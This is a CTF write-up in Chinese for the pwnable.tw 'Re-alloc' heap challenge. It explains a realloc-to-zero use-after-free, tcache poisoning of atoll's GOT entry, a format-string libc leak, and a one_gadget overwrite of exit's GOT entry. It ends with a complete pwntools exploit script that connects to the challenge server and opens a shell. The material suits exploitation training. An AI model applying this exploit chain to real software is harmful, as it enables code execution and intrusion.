Re-alloc in pwnable.tw

Challenge

题目非常简洁,一共三个功能:

  1. realloc 创建一个堆块
  2. realloc 重新分配一个已经存在堆块的大小
  3. realloc 释放一个堆块

存在的漏洞点有两个

  1. 创建一个堆块中有个 OFF BY NULL(虽然对做题没啥用)
  2. 重新分配大小中可以设置大小为0,这样就是一个UAF

题目限制

  1. 只能同时控制两个chunk
  2. realloc大小≤0X78

Solution

主要就是如何利用这个UAF

显而易见的是可以将一个任意地址链入tcache,设第一次的size为 x

add(0,x) - > re(0,0) - > re(0,x-0x20,p64(0xdeadbeef))

但是这样做 有个问题如果我们想要获得0xdeadbeef这个chunk我们需要add 2次,那么如何清除指针是一个问题,本题中出了delet功能没有其他功能可以清除指针。

delet中有两个问题

  1. chunk size不能是 x ,否则会挡住我们想要获得的地址
  2. 防止 double free 被检查到

在libc-2.29中防止double free被检查的方法有两个,修改chunk size 或者修改key。

本题中前者比较好用,因为realloc有切割功能,只要通过第二个功能就可以修改chunk的大小。

所以我们的思路是

  1. UAF 将需要控制的地址链入tache
  2. 清空bss上指针
  3. 写入需要控制的地址

EXP

from pwn import *
#context.log_level='debug'
context.arch='amd64'
def cmd(c):
	p.sendlineafter("ce: ",str(c))
def add(idx,size,c="A"):
	cmd(1)
	p.sendlineafter("dex:",str(idx))
	p.sendlineafter("Size:",str(size))
	p.sendafter("Data:",c)

def re(idx,size,c="A"):
	cmd(2)
	p.sendlineafter("dex:",str(idx))
	p.sendlineafter("Size:",str(size))
	if(size>0):
		p.sendafter("Data:",c)
def free(idx):
	cmd(3)
	p.sendlineafter("dex:",str(idx))
atoll_got=0x000000000404048
printf_plt=0x401070
exit_got=0x000000000404018
#p=process('./pwn')
p=remote("chall.pwnable.tw",10106)
# LINK atoll_got in tcache
add(0,0x78,'A'*0x78)
re(0,0)
re(0,0x28,p64(atoll_got))
# GET atoll_got 
add(1,0x78)
re(1,0x58)
free(1)
add(1,0x78,p64(printf_plt))

#gdb.attach(p,'b printf')
# FORMAT STRING
free("%9$p")
base=int(p.readline()[:-1],16)-(0x7ffff7e53e4a-0x7ffff7dd0000)
one=0x106ef8+base

for off in range(6):
	free("%{}c%16$hn".format(0x4018+off))
	free("%{}c%20$hhn".format(one&0xff))
	one=one>>8
cmd(4)

log.warning(hex(base))
p.interactive()